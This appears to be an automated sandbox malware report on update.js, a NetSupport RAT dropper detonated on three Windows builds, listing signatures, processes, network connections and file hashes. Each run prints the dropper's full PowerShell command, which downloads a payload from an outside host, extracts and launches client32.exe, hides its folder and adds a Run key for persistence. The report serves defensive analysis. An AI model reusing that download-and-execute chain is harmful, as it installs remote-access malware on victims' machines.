Malware Analysis Report

2024-10-23 16:16

Sample ID 240129-wxswssfhe4
Target update.js
SHA256 7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78
Tags
netsupport persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7a153e840b1e15b0ca6f9c99072fb34efc759c6f96e24b1c01d8cfc1b5cf9e78

Threat Level: Known bad

The file update.js was found to be: Known bad.

Malicious Activity Summary

netsupport persistence rat

NetSupport

Blocklisted process makes network request

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Adds Run key to start application

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-01-29 18:18

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-29 18:18

Reported

2024-01-29 18:21

Platform

win10-20231215-en

Max time kernel

135s

Max time network

146s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-167039816-2868247564-2551780377-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX794\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ghostcitygames.com udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
MD 5.181.156.45:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 231.1.26.104.in-addr.arpa udp
US 8.8.8.8:53 45.156.181.5.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 28.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

memory/3496-4-0x000001AA31260000-0x000001AA31282000-memory.dmp

memory/3496-6-0x000001AA49590000-0x000001AA495A0000-memory.dmp

memory/3496-5-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

memory/3496-7-0x000001AA49590000-0x000001AA495A0000-memory.dmp

memory/3496-10-0x000001AA497A0000-0x000001AA49816000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hnkyz5hl.vfu.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/3496-25-0x000001AA49590000-0x000001AA495A0000-memory.dmp

memory/3496-43-0x000001AA49540000-0x000001AA4954A000-memory.dmp

memory/3496-44-0x000001AA49570000-0x000001AA49582000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX794\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX794\PCICL32.dll

MD5 6cb4f24afa017ee6c06d8b37e9c413ef
SHA1 3be6235694938eeb805f05a9f661178802250ef4
SHA256 615b7040d3edf9a0f1ec19402dd101dacd5d965c37737bfa19e986c7b02cdaeb
SHA512 63ba8f7cbe1c8831d7dd173f696f7a83f5d1015317b42127668662c1b18f5e33fa19d0e1ed58cc0a6ed7f5ab81e3fa9c00f0cbf504ad6a5366e12de6b5e01169

\Users\Admin\AppData\Roaming\DIVX794\PCICL32.DLL

MD5 24100d71edf711fc7fece098ca64b0cb
SHA1 4c0f6119e245c1bfb5843b5a59ab1f95fa8363b2
SHA256 d242613b0be92b41193463ad258a5d2c547774f99fef1c63e6d3c0edb40939f0
SHA512 f814d253ae296a52ec0763fb841421b69207be52b9b390007754a2f7f3acf182d69da5500678d911d75ddfa892cfee847bed2c7c6000b7b84a690b599675f809

C:\Users\Admin\AppData\Roaming\DIVX794\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX794\pcichek.dll

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX794\MSVCR100.dll

MD5 28f8b58e237891307ac2b7e79bd3d24f
SHA1 61d1673ba5120db79c2a88807aeefcfea809b187
SHA256 e2ba91361be58b3b04688f1db3eb503d9bac7a7d5dc9f22a7c9c6ab26f38cf37
SHA512 91106f299376bd5c42078124be0415168955fbbefd902166804d38a4f2ab99ca53db1a3798be3ecf9f3691fed9b0beb148841f433601e15705408fd07e406613

C:\Users\Admin\AppData\Roaming\DIVX794\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX794\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

\Users\Admin\AppData\Roaming\DIVX794\msvcr100.dll

MD5 30dfaaf86488971e16182c348f9230ee
SHA1 a305bdb0a5449393957f281c32c38b28a9e3adb0
SHA256 c01e0ec91e1dc9cdbea39bc989faf9ddabac30fdf26dd0237e05eb53b985d01a
SHA512 06398de3d8885b0d9981ac8eb8132a5d0e36775d9a5cb4c06e5efef0377daa16f76ae208e01fc706c831cdb9a961347fb621bf8e2355eeeec9bbdcb262b5846c

\Users\Admin\AppData\Roaming\DIVX794\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\Users\Admin\AppData\Roaming\DIVX794\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

memory/3496-116-0x00007FFC31FF0000-0x00007FFC329DC000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-29 18:18

Reported

2024-01-29 18:21

Platform

win10v2004-20231215-en

Max time kernel

93s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-282\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ghostcitygames.com udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
MD 5.181.156.45:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.0.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 231.0.26.104.in-addr.arpa udp
US 8.8.8.8:53 45.156.181.5.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 134.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 186.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

memory/4368-5-0x000002A72EFD0000-0x000002A72EFF2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ohr1dwzo.ich.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4368-10-0x00007FFA16C40000-0x00007FFA17701000-memory.dmp

memory/4368-11-0x000002A7472F0000-0x000002A747300000-memory.dmp

memory/4368-12-0x000002A7472F0000-0x000002A747300000-memory.dmp

memory/4368-14-0x000002A747250000-0x000002A74725A000-memory.dmp

memory/4368-15-0x000002A747280000-0x000002A747292000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX-282\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX-282\PCICL32.dll

MD5 085a6374f81e22567507abbcaac29a59
SHA1 057f9483e2a368d08d1f40218e8123e5accf552f
SHA256 5231105a9abe4f03031725363be1689a1be61fd122e854b23524b5c1fac6bb5c
SHA512 e51fd51f465564c58a49d7bec4fa6274bcca3985e2e8371bf6265de58da3365d82d40e3833285ff8e32a700ab26da18769677a9cb1ef2fc9665ace795f547688

C:\Users\Admin\AppData\Roaming\DIVX-282\PCICL32.DLL

MD5 501176e2f694043141c68966d7c6306e
SHA1 c8d2733d2e40e89beb66dda9a7f4e05361ed4eef
SHA256 724f8dcba0a968f2bd96f845ffe85a68382ba9f14db570ea0b52065b53b2f19c
SHA512 a1fd89bbadadb14bf0c80252b787f50ec5da3632ccd67285ff0fe2a0398ccc3aaade07b87b242a2f68de9e20a92faa7d9ec31839d3ae85f60b6726120bec051b

C:\Users\Admin\AppData\Roaming\DIVX-282\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX-282\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

memory/4368-82-0x00007FFA16C40000-0x00007FFA17701000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX-282\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX-282\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX-282\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX-282\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Analysis: behavioral3

Detonation Overview

Submitted

2024-01-29 18:18

Reported

2024-01-29 18:21

Platform

win11-20231222-en

Max time kernel

87s

Max time network

125s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1184116928-951304463-2249875399-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX305\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ZPGikOnkUuHvqwFnjEsZUbNjyHqeW='https://ghostcitygames.com/data.php?8788';$SoBseWjQCbXsIdUcIgcz=(New-Object System.Net.WebClient).DownloadString($ZPGikOnkUuHvqwFnjEsZUbNjyHqeW);$bJaQgoixMmUUWVGctFLemiVGAtKDe=[System.Convert]::FromBase64String($SoBseWjQCbXsIdUcIgcz);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $WLUWUqgepgVRefnUu=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $WLUWUqgepgVRefnUu -PathType Container)) { New-Item -Path $WLUWUqgepgVRefnUu -ItemType Directory };$p=Join-Path $WLUWUqgepgVRefnUu 'lol.zip';[System.IO.File]::WriteAllBytes($p,$bJaQgoixMmUUWVGctFLemiVGAtKDe);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WLUWUqgepgVRefnUu)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $WLUWUqgepgVRefnUu 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $WLUWUqgepgVRefnUu -Force; $FSDFSSD.attributes='Hidden';$s=$WLUWUqgepgVRefnUu+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ghostcitygames.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
RU 91.219.150.112:443 ghostcitygames.com tcp
MD 5.181.156.45:443 tcp
US 104.26.0.231:80 geo.netsupportsoftware.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1a4i4qz.knj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2484-8-0x000001E6CC720000-0x000001E6CC742000-memory.dmp

memory/2484-9-0x00007FFDC0830000-0x00007FFDC12F2000-memory.dmp

memory/2484-10-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp

memory/2484-12-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp

memory/2484-11-0x000001E6B43C0000-0x000001E6B43D0000-memory.dmp

memory/2484-14-0x000001E6CC7A0000-0x000001E6CC7AA000-memory.dmp

memory/2484-15-0x000001E6CC7D0000-0x000001E6CC7E2000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX305\client32.exe

MD5 ab6a1685b0ff61ff9f8f2edc381fbe26
SHA1 08b821ddfabe4492878ba88abf0dfa17fab3ff37
SHA256 1eae38545767a8cbf46bb1a0839ac73cdfbf69e3617a7aa8f1a0a115dc9e78bf
SHA512 6b358948a8c1d97b49be7dcf24d32c32cddff4da95315cf3b127742073ae8a26e782edacce38004e38edf5f042c65d02e8453219d1007549da43ef2f9a120a00

C:\Users\Admin\AppData\Roaming\DIVX305\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

memory/2484-82-0x00007FFDC0830000-0x00007FFDC12F2000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX305\msvcr100.dll

MD5 acca01de0b24216d4823efeaf388748b
SHA1 33430b2a05e52cd813463716d515929d107c856f
SHA256 186db44e9736e772df6f1b5e1678ed86634bbf1e66a7b54c439cde1d1525a9db
SHA512 48a218ec6b9d65082dd71c49593c2e10d1ec6a3a4cf903e4f94cec1c0f54e5b3092658e85b7895105b6d367da6062c6c3c4e72c54076ef9826fce2f9d82432ad

C:\Users\Admin\AppData\Roaming\DIVX305\msvcr100.dll

MD5 17387c018ef8e5cb9fab06dea3fd0f9c
SHA1 511d34c03f8c744645b0039f9a44aea2a4d8d060
SHA256 a3f6d28f0efa3633bc29089b08bba9369282689ca579ff93c696513618fbc5de
SHA512 70354f5bd14797cf5f74f85f1e4ea496057e976c6360b6f67e46c26ab76db40b101cc1aa8393c186a5e38b22d9faee0752318f8b74975b5294f766fdc3ac5c04

C:\Users\Admin\AppData\Roaming\DIVX305\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX305\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX305\HTCTL32.DLL

MD5 b09cf553d6779f7525ce8d22899150da
SHA1 798a8100ce14bb1bb06f3ed98647e750325e801b
SHA256 66b709303d1193bf851fc9f17274e75fb6220c5ca4998b054d43f9888b3d7e0a
SHA512 b741e5a497c584bc1ce3054d659ca522f6d3bdf17183e0abd8e82f2c9ad5659da918182955fdf6abe88f8a56aa70bf80a97ab0cf59eaf0f206c84b77cf8ec722

C:\Users\Admin\AppData\Roaming\DIVX305\HTCTL32.DLL

MD5 beed0effa708459efcdc16c3be47390e
SHA1 870feb986517081962bbd489d4e2dc32f14c557f
SHA256 e392330e008ffd3951ad9c1b552d6b94201a829aa04463257de277828777b909
SHA512 46d8251f81436af8493dd4e1a24f660b31c8deef0265606f3b482973078148713f280ee346775cafa7af0db68cff49106fe9ee8e8668a013255d7d7778116523

